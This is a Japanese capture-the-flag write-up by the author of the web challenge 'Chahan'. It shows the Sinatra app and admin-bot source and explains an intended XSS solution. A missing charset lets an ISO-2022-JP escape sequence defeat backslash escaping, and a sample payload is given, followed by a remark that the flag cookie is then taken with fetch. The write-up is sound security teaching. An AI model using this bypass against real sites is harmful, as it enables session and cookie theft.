SatokiCTF

2024-08-26 - 2024-08-27の期間に開催された、@satokiの誕生日を記念するCTFで作問した問題のWriteupを今更ですが公開します。

改めて誕生日おめでとうございます。

Chahan

問題はRubyで実装されたWebアプリケーションで、「seedを元にFakerで生成された名前をAdminに自慢できる」というコンセプト。 また、ダークテーマも一応実装されている。

サーバは以下の実装

require 'sinatra'
require 'sinatra/reloader' if development?
require 'faker'
require 'net/http'
require 'uri'

get '/' do
  @theme = sanitize_string(params['theme'] || 'light')
  headers 'Content-Type' => 'text/html'
  erb :index
end

get '/generate' do
  @seed = sanitize_string params['seed']
  Faker::Config.random = Random.new(@seed.to_i)
  @theme = sanitize_string(params['theme'] || 'light')
  @name = Faker::Name.name
  headers 'Content-Type' => 'text/html'
  erb :generate
end


post '/report' do
  url = params['url']

  uri = URI.parse(url)
  if uri.host == ENV['APP_HOST'] || "#{uri.host}:#{uri.port}" == ENV['APP_HOST']
    admin_uri = URI.parse('http://admin:4000/open')
    response = Net::HTTP.post_form(admin_uri, 'url' => url)

    if response.code.to_i == 200
      "Boasted successfully"
    else
      "Failed to boast"
    end
  else
    puts uri.host
    "Invalid URL"
  end
end

def sanitize_string(s)
  s.gsub(/\\/){'\\\\'}
    .gsub(/"/){'\\"'}
    .gsub(/</){'&lt;'}
    .gsub(/>/){'&gt;'}
end

generateに使用されるテンプレートは以下

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Generated Name</title>
  <link rel="stylesheet" href="/styles.css">
</head>
<body>
  <div class="container">
    <h1>Generated Name: <%= CGI.escapeHTML @name.to_s %></h1>
    <h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
    <form action="/report" method="post">
      <input type="hidden" name="url" value="<%= request.url %>">
      <button type="submit">Boast to Admin</button>
    </form>
  </div>
  <script src="/purify.min.js"></script>
  <script>
    var theme = DOMPurify.sanitize("<%= @theme %>");
  </script>
  <script src="/theme.js"></script>
</body>
</html>

ダークテーマへの対応はクライアントサイドで以下のコードによって行われている。

document.addEventListener("DOMContentLoaded", function() {
  if (theme === "dark") {
    document.body.classList.add("dark");
  }
});

reportのエンドポイントで動くのは以下のコード

require 'sinatra'
require 'selenium-webdriver'
require 'uri'

set :port, 4000

post '/open' do
  url = URI.parse(params['url'])
  if url.host == 'localhost'
    url.host = 'web'
  end
  options = ::Selenium::WebDriver::Chrome::Options.new(args: [
    '--no-sandbox',
    '--headless',
    '--disable-gpu',
    '--disable-dev-shm-usage',
    '--window-size=1920,1080'
  ])
  driver = Selenium::WebDriver.for(:chrome, options: options)

  driver.navigate.to "http://web:4567/"
  driver.manage.add_cookie(name: 'flag', value: ENV['FLAG'], domain: 'web')

  begin
    driver.navigate.to url
    "#{url} visited"
  rescue => e
    status 400
    "Error: #{e.message}"
  ensure
    sleep 3
    driver.quit
  end
end

よって、reportの画面でXSSを行い、Cookieを窃取するのが目標となる

しかし、任意の値を入れられるseed

<h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>

のようにCGI.escapeHTMLが行われているほか、themeについても

var theme = DOMPurify.sanitize("<%= @theme %>");

DOMPurifyでPurifyされている。

そして、そこに入る文字列についても以下のコードで<>"\がエスケープされている。

def sanitize_string(s)
  s.gsub(/\\/){'\\\\'}
    .gsub(/"/){'\\"'}
    .gsub(/</){'&lt;'}
    .gsub(/>/){'&gt;'}
end

解法

キモはこれ

headers 'Content-Type' => 'text/html'

今回、Content-Typetext/htmlを設定するコードを書いていて、一見普通に見えるが、charsetの指定をしていないのが問題となる。

詳しくはこちらの記事を参照してください。

この記事よりうまく説明できる気がしないけど軽く説明しておくと、charsetが設定されていない場合、ブラウザは内容から推測を行う挙動になっていて、ISO-2022-JPという、escape sequenceによってASCIIとJIS X 0201 1976, JIS X 0208 1978, JIS X 0208 1983を切り替えられるおもしろ文字コードを使って\¥にすることでエスケープが回避できる。というものです。

という訳で、XSSを引き起こすのは/generate?seed=%1b(J&theme=");alert(1);//のようなペイロードになります。

これにより、

<!DOCTYPE html>
<html lang="en">
<head>
  <title>Generated Name</title>
  <link rel="stylesheet" href="/styles.css">
</head>
<body>
  <div class="container">
    <h1>Generated Name: <%= CGI.escapeHTML @name.to_s %></h1>
    <!-- 以下に %1b(J が入ることで、ISO-2022-JPとして認識された上でJIS X 0201 1976へと切り替わる -->
    <h2>Seed: <%= CGI.escapeHTML @seed.to_s %></h2>
    <form action="/report" method="post">
      <input type="hidden" name="url" value="<%= request.url %>">
      <button type="submit">Boast to Admin</button>
    </form>
  </div>
  <script src="/purify.min.js"></script>
  <!-- 以下の行の@themeには ");alert(1);// が入るが、JIS X 0201 1976に切り替わっているため、 " のエスケープに失敗する。 -->
  <script>
    var theme = DOMPurify.sanitize("<%= @theme %>");
  </script>
  <!-- 結果、以下のようなコードになり、XSSが発火する -->
  <script>
    var theme = DOMPurify.sanitize("¥")+alert(1);//");
  </script>
  <script src="/theme.js"></script>
</body>
</html>

あとはfetchでCookie取るだけです。

他Writeup

2Solveでした。

記事を見て問題にしたら同時に裏でやってたCTFで同じネタが出たらしいです。2Solveだけどヒント出さなくて良かったな。本当に危ない。

開催中に解いてくださった方のWriteupを紹介します。

https://zenn.dev/tchen/articles/7b5b35831d658a#chahan-(300pts-2-solves)

こちらは想定解法です。ImaginaryCTFで出てたのもSekaiCTFで出てたのもこの記事で知りました…

https://qiita.com/sa_hm490/items/43fb28d52322943547ad#web-chahan-300pts

こちらは非想定解法ですが、これも同じくらいのタイミングにXで話題になっていたcontentvisibilityautostatechangeを使用しています。良い。

感想

おそらく初めてWeb問を作ったんじゃないかという気がしますが、難しかったです。ネタは面白いと思っているけど、非想定解を潰すのが大変だった(@st98さん、@satokiさん、その節はお世話になりました)。

Web問のインフラリソースも結構難しい事がわかりました。Pwnみたいに雑に動かしてはいけない。

あとはトレンドっぽいネタを出す時は気をつけようと思いました。

終わりに

この記事はCTF Advent Calendar 2024およびn01e0 Advent Calendar 2024の17日目の記事とします。